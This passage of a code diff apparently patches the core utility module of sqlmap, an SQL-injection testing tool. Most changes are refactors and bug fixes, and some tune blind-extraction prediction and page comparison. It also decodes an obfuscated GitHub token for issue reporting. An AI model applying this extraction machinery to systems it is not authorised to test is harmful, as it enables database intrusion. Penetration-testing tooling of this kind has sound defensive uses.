compilation/search if the keyword + # isn't even present in the string. This makes the function O(K) instead of O(N*K) + # for the expensive regex part (where K is num keywords). + if not candidate or candidate.lower() not in queryLower: + continue + queryMatch = re.search(r"(?i)\b(%s)\b" % candidate, query) if queryMatch and "sys_exec" not in query: @@ -1504,10 +1582,10 @@ def setPaths(rootPath): paths.SQLMAP_XML_PAYLOADS_PATH = os.path.join(paths.SQLMAP_XML_PATH, "payloads") # sqlmap files + paths.CATALOG_IDENTIFIERS = os.path.join(paths.SQLMAP_TXT_PATH, "catalog-identifiers.txt") paths.COMMON_COLUMNS = os.path.join(paths.SQLMAP_TXT_PATH, "common-columns.txt") paths.COMMON_FILES = os.path.join(paths.SQLMAP_TXT_PATH, "common-files.txt") paths.COMMON_TABLES = os.path.join(paths.SQLMAP_TXT_PATH, "common-tables.txt") - paths.COMMON_OUTPUTS = os.path.join(paths.SQLMAP_TXT_PATH, 'common-outputs.txt') paths.SQL_KEYWORDS = os.path.join(paths.SQLMAP_TXT_PATH, "keywords.txt") paths.SMALL_DICT = os.path.join(paths.SQLMAP_TXT_PATH, "smalldict.txt") paths.USER_AGENTS = os.path.join(paths.SQLMAP_TXT_PATH, "user-agents.txt") @@ -1601,7 +1679,7 @@ def parseTargetDirect(): conf.dbmsPass = details.group("pass").strip("'\"") else: if conf.dbmsCred: - conf.dbmsUser, conf.dbmsPass = conf.dbmsCred.split(':') + conf.dbmsUser, conf.dbmsPass = conf.dbmsCred.split(':', 1) else: conf.dbmsUser = "" conf.dbmsPass = "" @@ -1636,7 +1714,7 @@ def parseTargetDirect(): try: conf.dbms = dbmsName - if dbmsName in (DBMS.ACCESS, DBMS.SQLITE, DBMS.FIREBIRD): + if dbmsName in (DBMS.ACCESS, DBMS.SQLITE): if remote: warnMsg = "direct connection over the network for " warnMsg += "%s DBMS is not supported" % dbmsName @@ -1665,17 +1743,13 @@ def parseTargetDirect(): elif dbmsName == DBMS.PGSQL: __import__("psycopg2") elif dbmsName == DBMS.ORACLE: - __import__("cx_Oracle") - - # Reference: http://itsiti.com/ora-28009-connection-sys-sysdba-sysoper - if (conf.dbmsUser or "").upper() == "SYS": - conf.direct = "%s?mode=SYSDBA" % conf.direct + __import__("oracledb") elif dbmsName == DBMS.SQLITE: __import__("sqlite3") elif dbmsName == DBMS.ACCESS: __import__("pyodbc") elif dbmsName == DBMS.FIREBIRD: - __import__("kinterbasdb") + __import__("firebirdsql") except (SqlmapSyntaxException, SqlmapMissingDependence): raise except: @@ -1769,7 +1843,8 @@ def parseTargetUrl(): errMsg = "invalid target URL port (%d)" % conf.port raise SqlmapSyntaxException(errMsg) - conf.url = getUnicode("%s://%s:%d%s" % (conf.scheme, ("[%s]" % conf.hostname) if conf.ipv6 else conf.hostname, conf.port, conf.path)) + defaultPort = conf.port == 80 and conf.scheme in ("http", "ws") or conf.port == 443 and conf.scheme in ("https", "wss") + conf.url = getUnicode("%s://%s%s%s" % (conf.scheme, ("[%s]" % conf.hostname) if conf.ipv6 else conf.hostname, (":%d" % conf.port) if not defaultPort else "", conf.path)) conf.url = conf.url.replace(URI_QUESTION_MARKER, '?') if urlSplit.query: @@ -1808,7 +1883,7 @@ def escapeJsonValue(value): retVal = "" for char in value: - if char < ' ' or char == '"': + if char < ' ' or char in ('"', '\\'): # Note: backslash must be escaped too, otherwise a '\' in the value corrupts the surrounding JSON string retVal += json.dumps(char)[1:-1] else: retVal += char @@ -1822,7 +1897,9 @@ def expandAsteriskForColumns(expression): the SQL query string (expression) """ - match = re.search(r"(?i)\ASELECT(\s+TOP\s+[\d]+)?\s+\*\s+FROM\s+(([`'\"][^`'\"]+[`'\"]|[\w.]+)+)(\s|\Z)", expression) + # Note: the table-reference group consumes one char / quoted-chunk per repetition ([\w.] not + # [\w.]+) to avoid catastrophic backtracking on a 'SELECT * FROM (' input + match = re.search(r"(?i)\ASELECT(\s+TOP\s+[\d]+)?\s+\*\s+FROM\s+(([`'\"][^`'\"]+[`'\"]|[\w.])+)(\s|\Z)", expression) if match: infoMsg = "you did not provide the fields in your query. " @@ -1969,11 +2046,15 @@ def getLocalIP(): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((conf.hostname, conf.port)) retVal, _ = s.getsockname() - s.close() except: debugMsg = "there was an error in opening socket " debugMsg += "connection toward '%s'" % conf.hostname logger.debug(debugMsg) + finally: + try: + s.close() + except socket.error: + pass return retVal @@ -2003,7 +2084,7 @@ def getFileType(filePath): """ Returns "magic" file type for given file path - >>> getFileType(__file__) + >>> getFileType(paths.SQL_KEYWORDS) 'text' >>> getFileType(sys.executable) 'binary' @@ -2017,7 +2098,9 @@ def getFileType(filePath): desc = getText(desc) if desc == getText(magic.MAGIC_UNKNOWN_FILETYPE): - content = openFile(filePath, "rb", encoding=None).read() + _ = openFile(filePath, "rb", encoding=None) + content = _.read() + _.close() try: content.decode() @@ -2049,7 +2132,7 @@ def getCharset(charsetType=None): # Digits elif charsetType == CHARSET_TYPE.DIGITS: - asciiTbl.extend((0, 9)) + asciiTbl.extend(xrange(0, 10)) asciiTbl.extend(xrange(47, 58)) # Hexadecimal @@ -2190,19 +2273,20 @@ def safeStringFormat(format_, params): while True: match = re.search(r"(\A|[^A-Za-z0-9])(%s)([^A-Za-z0-9]|\Z)", retVal) if match: - if count >= len(params): - warnMsg = "wrong number of parameters during string formatting. " - warnMsg += "Please report by e-mail content \"%r | %r | %r\" to '%s'" % (format_, params, retVal, DEV_EMAIL_ADDRESS) - raise SqlmapValueException(warnMsg) - else: - try: - retVal = re.sub(r"(\A|[^A-Za-z0-9])(%s)([^A-Za-z0-9]|\Z)", r"\g<1>%s\g<3>" % params[count], retVal, 1) - except re.error: - retVal = retVal.replace(match.group(0), match.group(0) % params[count], 1) - count += 1 + try: + _ = getUnicode(params[count % len(params)]) + retVal = re.sub(r"(\A|[^A-Za-z0-9])(%s)([^A-Za-z0-9]|\Z)", r"\g<1>%s\g<3>" % _.replace('\\', r'\\'), retVal, count=1) + except re.error: + retVal = retVal.replace(match.group(0), match.group(0) % params[count % len(params)], 1) + count += 1 else: break + if count > len(params) and count % len(params): + warnMsg = "wrong number of parameters during string formatting. " + warnMsg += "Please report by e-mail content \"%r | %r | %r\" to '%s'" % (format_, params, retVal, DEV_EMAIL_ADDRESS) + raise SqlmapValueException(warnMsg) + retVal = getText(retVal).replace(PARAMETER_PERCENTAGE_MARKER, '%') return retVal @@ -2259,9 +2343,14 @@ def showStaticWords(firstPage, secondPage, minLength=3): infoMsg = "static words: " if firstPage and secondPage: - match = SequenceMatcher(None, firstPage, secondPage).find_longest_match(0, len(firstPage), 0, len(secondPage)) - commonText = firstPage[match[0]:match[0] + match[2]] - commonWords = getPageWordSet(commonText) + try: + match = SequenceMatcher(None, firstPage, secondPage).find_longest_match(0, len(firstPage), 0, len(secondPage)) + commonText = firstPage[match[0]:match[0] + match[2]] + commonWords = getPageWordSet(commonText) + except (MemoryError, TypeError, SystemError, ValueError, AttributeError): + # difflib can fail on pathological input / interpreter-level hiccups; skip + # the static-word hint rather than abort (see findDynamicContent / comparison.py) + commonWords = None else: commonWords = None @@ -2308,7 +2397,7 @@ def ntToPosixSlashes(filepath): Replaces all occurrences of NT backslashes in provided filepath with Posix slashes - >>> ntToPosixSlashes('C:\\Windows') + >>> ntToPosixSlashes(r'C:\\Windows') 'C:/Windows' """ @@ -2431,7 +2520,7 @@ def getSQLSnippet(dbms, sfile, **variables): retVal = retVal.replace(_, randomStr()) for _ in re.findall(r"%RANDINT\d+%", retVal, re.I): - retVal = retVal.replace(_, randomInt()) + retVal = retVal.replace(_, getText(randomInt())) variables = re.findall(r"(?>> initCommonOutputs(); "information_schema" in kb.commonOutputs["Databases"] + >>> initCommonOutputs(); "users" in kb.commonOutputs["Tables"] True """ kb.commonOutputs = {} - key = None - - for line in openFile(paths.COMMON_OUTPUTS, 'r'): - if line.find('#') != -1: - line = line[:line.find('#')] - line = line.strip() - - if len(line) > 1: - if line.startswith('[') and line.endswith(']'): - key = line[1:-1] - elif key: - if key not in kb.commonOutputs: - kb.commonOutputs[key] = set() - - if line not in kb.commonOutputs[key]: - kb.commonOutputs[key].add(line) + for key, path in (("Tables", paths.COMMON_TABLES), ("Columns", paths.COMMON_COLUMNS)): + try: + kb.commonOutputs[key] = set(getFileItems(path)) + except SqlmapSystemException: + kb.commonOutputs[key] = set() def getFileItems(filename, commentPrefix='#', unicoded=True, lowercase=False, unique=False): """ @@ -2578,19 +2664,17 @@ def getFileItems(filename, commentPrefix='#', unicoded=True, lowercase=False, un return retVal if not unique else list(retVal.keys()) -def goGoodSamaritan(prevValue, originalCharset): +def predictValue(prevValue, originalCharset): """ - Function for retrieving parameters needed for common prediction (good - samaritan) feature. + Predictive-inference helper: given the value retrieved so far (prefix), consult the + per-context common-identifier set (kb.commonOutputs[kb.partRun], from the common- + tables/common-columns wordlists) to shortcut blind extraction. prevValue: retrieved query output so far (e.g. 'i'). - Returns commonValue if there is a complete single match (in kb.partRun - of txt/common-outputs.txt under kb.partRun) regarding parameter - prevValue. If there is no single value match, but multiple, commonCharset is - returned containing more probable characters (retrieved from matched - values in txt/common-outputs.txt) together with the rest of charset as - otherCharset. + Returns commonValue when a single wordlist entry matches the prefix (the whole value + can be confirmed in one request); otherwise commonCharset holds the more probable + next characters (reordered ahead of otherCharset) so the bisection converges faster. """ if kb.commonOutputs is None: @@ -2649,7 +2733,7 @@ def goGoodSamaritan(prevValue, originalCharset): def getPartRun(alias=True): """ Goes through call stack and finds constructs matching - conf.dbmsHandler.*. Returns it or its alias used in 'txt/common-outputs.txt' + conf.dbmsHandler.*. Returns it or its predictive-inference context alias (e.g. 'Tables'/'Columns') """ retVal = None @@ -2685,7 +2769,7 @@ def getPartRun(alias=True): def longestCommonPrefix(*sequences): """ - Returns longest common prefix occuring in given sequences + Returns longest common prefix occurring in given sequences # Reference: http://boredzo.org/blog/archives/2007-01-06/longest-common-prefix-in-python-2 @@ -2851,9 +2935,6 @@ def extractErrorMessage(page): retVal = None if isinstance(page, six.string_types): - if wasLastResponseDBMSError(): - page = re.sub(r"<[^>]+>", "", page) - for regex in ERROR_PARSING_REGEXES: match = re.search(regex, page, re.IGNORECASE) @@ -2864,6 +2945,7 @@ def extractErrorMessage(page): break if not retVal and wasLastResponseDBMSError(): + page = re.sub(r"<[^>]+>", "", page) match = re.search(r"[^\n]*SQL[^\n:]*:[^\n]*", page, re.IGNORECASE) if match: @@ -2879,6 +2961,7 @@ def findLocalPort(ports): retVal = None for port in ports: + s = None try: try: s = socket._orig_socket(socket.AF_INET, socket.SOCK_STREAM) @@ -2890,10 +2973,11 @@ def findLocalPort(ports): except socket.error: pass finally: - try: - s.close() - except socket.error: - pass + if s is not None: + try: + s.close() + except socket.error: + pass return retVal @@ -2906,22 +2990,15 @@ def findMultipartPostBoundary(post): """ retVal = None - - done = set() - candidates = [] + counts = {} for match in re.finditer(r"(?m)^--(.+?)(--)?$", post or ""): - _ = match.group(1).strip().strip('-') - - if _ in done: - continue - else: - candidates.append((post.count(_), _)) - done.add(_) + boundary = match.group(1).strip().strip('-') + counts[boundary] = counts.get(boundary, 0) + 1 - if candidates: - candidates.sort(key=lambda _: _[0], reverse=True) - retVal = candidates[0][1] + if counts: + sorted_boundaries = sorted(counts.items(), key=lambda x: x[1], reverse=True) + retVal = sorted_boundaries[0][0] return retVal @@ -2946,11 +3023,10 @@ def urldecode(value, encoding=None, unsafe="%%?&=;+%s" % CUSTOM_INJECTION_MARK_C result = _urllib.parse.unquote_plus(value) if spaceplus else _urllib.parse.unquote(value) else: result = value - charset = set(string.printable) - set(unsafe) def _(match): char = decodeHex(match.group(1), binary=False) - return char if char in charset else match.group(0) + return char if char not in unsafe else match.group(0) if spaceplus: result = result.replace('+', ' ') # plus sign has a special meaning in URL encoded data (hence the usage of _urllib.parse.unquote_plus in convall case) @@ -3092,7 +3168,7 @@ def getPublicTypeMembers(type_, onlyValues=False): def enumValueToNameLookup(type_, value_): """ - Returns name of a enum member with a given value + Returns name of an enum member with a given value >>> enumValueToNameLookup(SORT_ORDER, 100) 'LAST' @@ -3150,6 +3226,45 @@ def extractTextTagContent(page): return filterNone(_.group("result").strip() for _ in re.finditer(TEXT_TAG_REGEX, page)) +def extractStructuralTokens(page): + """ + Returns a set of value-free structural tokens (tag names and class/id attribute hooks) of a + (HTML) page, discarding all textual content. Used for structure-aware page comparison when the + page is byte-unstable but structurally stable (e.g. dynamic result rows in a fixed layout), so + that dynamic text does not perturb the comparison while a structural change (e.g. a results + table appearing or disappearing) still does. HTML counterpart of jsonMinimize() + + >>> sorted(extractStructuralTokens(u'
x
')) == [u'cls:div.a', u'cls:div.b', u'id:div#g', u'tag:div', u'tag:span'] + True + >>> extractStructuralTokens(u'
1
') == set([u'tag:table', u'tag:tr', u'tag:td']) + True + >>> extractStructuralTokens(u'') == set() + True + """ + + page = page or "" + + if REFLECTED_VALUE_MARKER in page: + page = re.sub(r"(?i)<[^>]*%s[^>]*>" % REFLECTED_VALUE_MARKER, " ", page) + + page = re.sub(r"(?si)||", " ", page) + + retVal = set() + + for match in re.finditer(STRUCTURAL_TAG_REGEX, page): + tag = match.group(1).lower() + attrs = match.group(2) or "" + retVal.add("tag:%s" % tag) + for _ in re.finditer(STRUCTURAL_CLASS_REGEX, attrs): + for value in (_.group(1) or _.group(2) or _.group(3) or "").split(): + retVal.add("cls:%s.%s" % (tag, value)) + for _ in re.finditer(STRUCTURAL_ID_REGEX, attrs): + value = (_.group(1) or _.group(2) or _.group(3) or "").strip() + if value: + retVal.add("id:%s#%s" % (tag, value)) + + return retVal + def trimAlphaNum(value): """ Trims alpha numeric characters from start and ending of a given value @@ -3182,9 +3297,25 @@ def isNumPosStrValue(value): False """ - return ((hasattr(value, "isdigit") and value.isdigit() and int(value) > 0) or (isinstance(value, int) and value > 0)) and int(value) < MAX_INT + retVal = False + + try: + retVal = ((hasattr(value, "isdigit") and value.isdigit() and int(value) > 0) or (isinstance(value, int) and value > 0)) and int(value) < MAX_INT + except ValueError: + pass + + return retVal + +# DBMS_DICT is static, so the alias -> enum resolution is precomputed once into a +# lookup table (replacing a per-call @cachedmethod + linear scan). aliasToDbmsEnum() +# is a hot path (Backend.getIdentifiedDbms() calls it constantly). Building via +# setdefault in dict order preserves the original first-match-wins semantics. +_DBMS_ALIAS_MAP = {} +for _dbmsKey, _dbmsItem in DBMS_DICT.items(): + for _dbmsAlias in _dbmsItem[0]: + _DBMS_ALIAS_MAP.setdefault(_dbmsAlias, _dbmsKey) + _DBMS_ALIAS_MAP.setdefault(_dbmsKey.lower(), _dbmsKey) -@cachedmethod def aliasToDbmsEnum(dbms): """ Returns major DBMS name from a given alias @@ -3193,21 +3324,17 @@ def aliasToDbmsEnum(dbms): 'Microsoft SQL Server' """ - retVal = None - - if dbms: - for key, item in DBMS_DICT.items(): - if dbms.lower() in item[0] or dbms.lower() == key.lower(): - retVal = key - break - - return retVal + return _DBMS_ALIAS_MAP.get(dbms.lower()) if dbms else None -def findDynamicContent(firstPage, secondPage): +def findDynamicContent(firstPage, secondPage, merge=False): """ This function checks if the provided pages have dynamic content. If they are dynamic, proper markings will be made + Note: with merge=True the newly found markings are accumulated into the + existing ones (e.g. when refining across multiple original-page samples) + instead of replacing them + >>> findDynamicContent("Lorem ipsum dolor sit amet, congue tation referrentur ei sed. Ne nec legimus habemus recusabo, natum reque et per. Facer tritani reprehendunt eos id, modus constituam est te. Usu sumo indoctum ad, pri paulo molestiae complectitur no.", "Lorem ipsum dolor sit amet, congue tation referrentur ei sed. Ne nec legimus habemus recusabo, natum reque et per. Facer tritani reprehendunt eos id, modus constituam est te. Usu sumo indoctum ad, pri paulo molestiae complectitur no.") >>> kb.dynamicMarkings [('natum reque et per. ', 'Facer tritani repreh')] @@ -3219,8 +3346,17 @@ def findDynamicContent(firstPage, secondPage): infoMsg = "searching for dynamic content" singleTimeLogMessage(infoMsg) - blocks = list(SequenceMatcher(None, firstPage, secondPage).get_matching_blocks()) - kb.dynamicMarkings = [] + try: + blocks = list(SequenceMatcher(None, firstPage, secondPage).get_matching_blocks()) + except (MemoryError, TypeError, SystemError, ValueError, AttributeError): + # difflib can blow up on pathological/oversized input (and, rarely, with + # interpreter-level errors under heavy threading); a failed dynamic-content + # search must degrade gracefully rather than abort the whole scan - mirrors the + # guard around the ratio computation in lib/request/comparison.py + return + + if not merge: + kb.dynamicMarkings = [] # Removing too small matching blocks for block in blocks[:]: @@ -3249,7 +3385,7 @@ def findDynamicContent(firstPage, secondPage): suffix = suffix[:DYNAMICITY_BOUNDARY_LENGTH] for _ in (firstPage, secondPage): - match = re.search(r"(?s)%s(.+)%s" % (re.escape(prefix), re.escape(suffix)), _) + match = re.search(r"(?s)%s(.+?)%s" % (re.escape(prefix), re.escape(suffix)), _) if match: infix = match.group(1) if infix[0].isalnum(): @@ -3258,7 +3394,9 @@ def findDynamicContent(firstPage, secondPage): suffix = trimAlphaNum(suffix) break - kb.dynamicMarkings.append((prefix if prefix else None, suffix if suffix else None)) + marking = (prefix if prefix else None, suffix if suffix else None) + if marking not in kb.dynamicMarkings: # Note: avoiding duplicates (e.g. when accumulating markings across samples) + kb.dynamicMarkings.append(marking) if len(kb.dynamicMarkings) > 0: infoMsg = "dynamic content marked for removal (%d region%s)" % (len(kb.dynamicMarkings), 's' if len(kb.dynamicMarkings) > 1 else '') @@ -3277,11 +3415,11 @@ def removeDynamicContent(page): if prefix is None and suffix is None: continue elif prefix is None: - page = re.sub(r"(?s)^.+%s" % re.escape(suffix), suffix.replace('\\', r'\\'), page) + page = re.sub(r"(?s)^.+?%s" % re.escape(suffix), suffix.replace('\\', r'\\'), page) elif suffix is None: page = re.sub(r"(?s)%s.+$" % re.escape(prefix), prefix.replace('\\', r'\\'), page) else: - page = re.sub(r"(?s)%s.+%s" % (re.escape(prefix), re.escape(suffix)), "%s%s" % (prefix.replace('\\', r'\\'), suffix.replace('\\', r'\\')), page) + page = re.sub(r"(?s)%s.+?%s" % (re.escape(prefix), re.escape(suffix)), "%s%s" % (prefix.replace('\\', r'\\'), suffix.replace('\\', r'\\')), page) return page @@ -3315,14 +3453,14 @@ def filterNone(values): """ Emulates filterNone([...]) functionality - >>> filterNone([1, 2, "", None, 3]) - [1, 2, 3] + >>> filterNone([1, 2, "", None, 3, 0]) + [1, 2, 3, 0] """ retVal = values if isinstance(values, _collections.Iterable): - retVal = [_ for _ in values if _] + retVal = [_ for _ in values if _ or _ == 0] return retVal @@ -3437,7 +3575,10 @@ def parseSqliteTableSchema(value): columns[column] = match.group(3) or "TEXT" table[safeSQLIdentificatorNaming(conf.tbl, True)] = columns - kb.data.cachedColumns[conf.db] = table + if conf.db in kb.data.cachedColumns: + kb.data.cachedColumns[conf.db].update(table) + else: + kb.data.cachedColumns[conf.db] = table return retVal @@ -3529,8 +3670,8 @@ def setOptimize(): Sets options turned on by switch '-o' """ - # conf.predictOutput = True - conf.keepAlive = True + # Note: persistent (Keep-Alive) connections are now used by default (see _setHTTPHandlers); predictive + # inference is now an inherent, always-on part of blind name enumeration (no longer a switch) conf.threads = 3 if conf.threads < 3 and cmdLineOptions.threads is None else conf.threads conf.nullConnection = not any((conf.data, conf.textOnly, conf.titles, conf.string, conf.notString, conf.regexp, conf.tor)) @@ -3582,7 +3723,7 @@ def saveConfig(conf, filename): config.set(family, option, value) - with openFile(filename, "wb") as f: + with openFile(filename, 'w') as f: try: config.write(f) except IOError as ex: @@ -3658,8 +3799,8 @@ def unArrayizeValue(value): if isListLike(value): if not value: value = None - elif len(value) == 1 and not isListLike(value[0]): - value = value[0] + elif len(value) == 1 and not isListLike(next(iter(value))): # Note: next(iter(...)) not value[0] - a set/OrderedSet is list-like but not subscriptable + value = next(iter(value)) else: value = [_ for _ in flattenValue(value) if _ is not None] value = value[0] if len(value) > 0 else None @@ -3691,10 +3832,12 @@ def joinValue(value, delimiter=','): '1,2' >>> joinValue('1') '1' + >>> joinValue(['1', None]) + '1,None' """ if isListLike(value): - retVal = delimiter.join(value) + retVal = delimiter.join(getText(_ if _ is not None else "None") for _ in value) else: retVal = value @@ -3786,6 +3929,14 @@ def openFile(filename, mode='r', encoding=UNICODE_ENCODING, errors="reversible", # Reference: https://stackoverflow.com/a/37462452 if 'b' in mode: buffering = 0 + encoding = None + elif buffering == 1 and codecs_open is codecs.open: + # codecs.open() always opens the underlying file in binary mode, where line buffering + # (buffering=1) is unsupported: on Python 3.12+ it emits a benign RuntimeWarning and is + # silently downgraded to the default buffer size anyway. Request that default explicitly + # so the warning never reaches users (the >=3.14 _codecs_open shim handles buffering=1 + # itself, preserving flush-on-newline, so this only adjusts the legacy codecs.open path). + buffering = -1 if filename == STDIN_PIPE_DASH: if filename not in kb.cache.content: @@ -3794,7 +3945,7 @@ def openFile(filename, mode='r', encoding=UNICODE_ENCODING, errors="reversible", return contextlib.closing(io.StringIO(readCachedFileContent(filename))) else: try: - return codecs.open(filename, mode, encoding, errors, buffering) + return codecs_open(filename, mode, encoding, errors, buffering) except IOError: errMsg = "there has been a file opening error for filename '%s'. " % filename errMsg += "Please check %s permissions on a file " % ("write" if mode and ('w' in mode or 'a' in mode or '+' in mode) else "read") @@ -3840,29 +3991,6 @@ def decodeIntToUnicode(value): return retVal -def checkIntegrity(): - """ - Checks integrity of code files during the unhandled exceptions - """ - - if not paths: - return - - logger.debug("running code integrity check") - - retVal = True - - baseTime = os.path.getmtime(paths.SQLMAP_SETTINGS_PATH) + 3600 # First hour free parking :) - for root, _, filenames in os.walk(paths.SQLMAP_ROOT_PATH): - for filename in filenames: - if re.search(r"(\.py|\.xml|_)\Z", filename): - filepath = os.path.join(root, filename) - if os.path.getmtime(filepath) > baseTime: - logger.error("wrong modification time of '%s'" % filepath) - retVal = False - - return retVal - def getDaysFromLastUpdate(): """ Get total number of days from last update @@ -4001,7 +4129,8 @@ def createGithubIssue(errMsg, excMsg): pass data = {"title": "Unhandled exception (#%s)" % key, "body": "```%s\n```\n```\n%s```" % (errMsg, excMsg)} - req = _urllib.request.Request(url="https://api.github.com/repos/sqlmapproject/sqlmap/issues", data=getBytes(json.dumps(data)), headers={HTTP_HEADER.AUTHORIZATION: "token %s" % decodeBase64(GITHUB_REPORT_OAUTH_TOKEN, binary=False), HTTP_HEADER.USER_AGENT: fetchRandomAgent()}) + token = getText(zlib.decompress(decodeBase64(GITHUB_REPORT_PAT_TOKEN[::-1], binary=True))[0::2][::-1]) + req = _urllib.request.Request(url="https://api.github.com/repos/sqlmapproject/sqlmap/issues", data=getBytes(json.dumps(data)), headers={HTTP_HEADER.AUTHORIZATION: "token %s" % token, HTTP_HEADER.USER_AGENT: fetchRandomAgent()}) try: content = getText(_urllib.request.urlopen(req).read()) @@ -4015,7 +4144,7 @@ def createGithubIssue(errMsg, excMsg): logger.info(infoMsg) try: - with openFile(paths.GITHUB_HISTORY, "a+b") as f: + with openFile(paths.GITHUB_HISTORY, "a+") as f: f.write("%s\n" % key) except: pass @@ -4104,6 +4233,9 @@ def intersect(containerA, containerB, lowerCase=False): def decodeStringEscape(value): """ Decodes escaped string values (e.g. "\\t" -> "\t") + + >>> decodeStringEscape("a" + chr(92) + "tb") == "a" + chr(9) + "b" + True """ retVal = value @@ -4118,6 +4250,9 @@ def decodeStringEscape(value): def encodeStringEscape(value): """ Encodes escaped string values (e.g. "\t" -> "\\t") + + >>> encodeStringEscape("a" + chr(9) + "b") == "a" + chr(92) + "tb" + True """ retVal = value @@ -4147,13 +4282,23 @@ def _(value): payload = getUnicode(urldecode(payload.replace(PAYLOAD_DELIMITER, ""), convall=True)) regex = _(filterStringValue(payload, r"[A-Za-z0-9]", encodeStringEscape(REFLECTED_REPLACEMENT_REGEX))) + # NOTE: special case when part of the result shares the same output as the payload (e.g. ?id=1... and "sqlmap/1.0-dev (http://sqlmap.org)") + preserve = extractRegexResult(r"%s(?P.+?)%s" % (kb.chars.start, kb.chars.stop), content) + if preserve: + content = content.replace(preserve, REPLACEMENT_MARKER) + if regex != payload: if all(part.lower() in content.lower() for part in filterNone(regex.split(REFLECTED_REPLACEMENT_REGEX))[1:]): # fast optimization check parts = regex.split(REFLECTED_REPLACEMENT_REGEX) # Note: naive approach retVal = content.replace(payload, REFLECTED_VALUE_MARKER) - retVal = retVal.replace(re.sub(r"\A\w+", "", payload), REFLECTED_VALUE_MARKER) + + # Note: guard against an empty needle (payload composed solely of word chars), as + # str.replace("", X) would insert X between every character and explode the page + _stripped = re.sub(r"\A\w+", "", payload) + if _stripped: + retVal = retVal.replace(_stripped, REFLECTED_VALUE_MARKER) if len(parts) > REFLECTED_MAX_REGEX_PARTS: # preventing CPU hogs regex = _("%s%s%s" % (REFLECTED_REPLACEMENT_REGEX.join(parts[:REFLECTED_MAX_REGEX_PARTS // 2]), REFLECTED_REPLACEMENT_REGEX, REFLECTED_REPLACEMENT_REGEX.join(parts[-REFLECTED_MAX_REGEX_PARTS // 2:]))) @@ -4217,6 +4362,9 @@ def _thread(regex): debugMsg = "turning off reflection removal mechanism (for optimization purposes)" logger.debug(debugMsg) + if preserve and retVal: + retVal = retVal.replace(REPLACEMENT_MARKER, preserve) + except (MemoryError, SystemError): kb.reflectiveMechanism = False if not suppressWarning: @@ -4257,14 +4405,24 @@ def safeSQLIdentificatorNaming(name, isTable=False): '[begin]' >>> getText(safeSQLIdentificatorNaming("foobar")) 'foobar' - >>> kb.forceDbms = popValue() + >>> kb.forcedDbms = DBMS.FIREBIRD + >>> getText(safeSQLIdentificatorNaming("foo bar")) + '"foo bar"' + >>> kb.forcedDbms = popValue() """ retVal = name + if conf.unsafeNaming: + return retVal + if isinstance(name, six.string_types): retVal = getUnicode(name) - _ = isTable and Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) + # Resolve the identified DBMS once; it is invariant within this call and + # Backend.getIdentifiedDbms() (which scans DBMS_DICT) was otherwise + # re-evaluated several times below. + dbms = Backend.getIdentifiedDbms() + _ = isTable and dbms in (DBMS.MSSQL, DBMS.SYBASE) if _: retVal = re.sub(r"(?i)\A\[?%s\]?\." % DEFAULT_MSSQL_SCHEMA, "%s." % DEFAULT_MSSQL_SCHEMA, retVal) @@ -4274,13 +4432,13 @@ def safeSQLIdentificatorNaming(name, isTable=False): if not conf.noEscape: retVal = unsafeSQLIdentificatorNaming(retVal) - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.CUBRID, DBMS.SQLITE): # Note: in SQLite double-quotes are treated as string if column/identifier is non-existent (e.g. SELECT "foobar" FROM users) + if dbms in (DBMS.MYSQL, DBMS.ACCESS, DBMS.CUBRID, DBMS.SQLITE, DBMS.SPANNER, DBMS.CLICKHOUSE): # Note: in SQLite double-quotes are treated as string if column/identifier is non-existent (e.g. SELECT "foobar" FROM users) retVal = "`%s`" % retVal - elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE, DBMS.RAIMA, DBMS.VIRTUOSO): + elif dbms in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE, DBMS.RAIMA, DBMS.VIRTUOSO, DBMS.SNOWFLAKE, DBMS.FIREBIRD, DBMS.DERBY, DBMS.MAXDB): retVal = "\"%s\"" % retVal - elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.ALTIBASE, DBMS.MIMERSQL): + elif dbms in (DBMS.ORACLE, DBMS.ALTIBASE, DBMS.MIMERSQL, DBMS.HANA): retVal = "\"%s\"" % retVal.upper() - elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE): + elif dbms in (DBMS.MSSQL, DBMS.SYBASE): if isTable: parts = retVal.split('.', 1) for i in xrange(len(parts)): @@ -4313,16 +4471,21 @@ def unsafeSQLIdentificatorNaming(name): retVal = name if isinstance(name, six.string_types): - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.CUBRID, DBMS.SQLITE): + # Resolve the identified DBMS once; it is invariant within this call, and + # Backend.getIdentifiedDbms() is not cheap (it scans DBMS_DICT). Previously + # it was re-evaluated up to five times per call. + dbms = Backend.getIdentifiedDbms() + + if dbms in (DBMS.MYSQL, DBMS.ACCESS, DBMS.CUBRID, DBMS.SQLITE, DBMS.SPANNER, DBMS.CLICKHOUSE): retVal = name.replace("`", "") - elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE, DBMS.RAIMA, DBMS.VIRTUOSO): + elif dbms in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE, DBMS.RAIMA, DBMS.VIRTUOSO, DBMS.SNOWFLAKE, DBMS.FIREBIRD, DBMS.DERBY, DBMS.MAXDB): retVal = name.replace("\"", "") - elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.ALTIBASE, 